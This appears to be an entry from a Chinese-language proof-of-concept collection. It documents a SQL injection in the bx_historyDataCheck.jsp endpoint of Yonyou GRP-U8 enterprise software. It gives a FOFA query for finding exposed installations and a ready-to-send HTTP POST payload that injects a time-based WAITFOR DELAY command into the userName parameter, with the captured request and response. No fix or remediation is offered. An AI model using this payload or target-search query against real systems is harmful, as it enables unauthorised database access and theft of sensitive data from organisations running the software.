Y16-10用友-GRP-U8-SQL

漏洞描述：

用友GRP-U8是用友软件推出的一款企业级管理软件套件，旨在帮助企业实现全面的数字化管理和业务优化。用友GRP-U8bx_historyDataCheck.jsp接口对用户传入的参数未进行有效的过滤，直接拼接到SQL查询语句中，导致SQL注入漏洞。攻击者通过该漏洞可以获取数据库敏感信息。

网站图片：

网络测绘：

fofa语法：

fofaapp="用友-GRP-U8"

漏洞复现：

payload：

```
POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=0A5EC135297A3E84647376F665904405
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

userName=';WAITFOR DELAY '0:0:3'--&ysnd=&historyFlag=
```

效果图:

请求

美化 Raw Hex

```
POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=0A5EC135297A3E84647376F665904405
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

userName=';WAITFOR DELAY '0:0:3'--&ysnd=&historyFlag=
```

响应

美化 Raw Hex 页面渲染

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Length: 11
Date: Sat, 23 Sep 2023 14:23:19 GMT
Connection: close



0

```

Inspector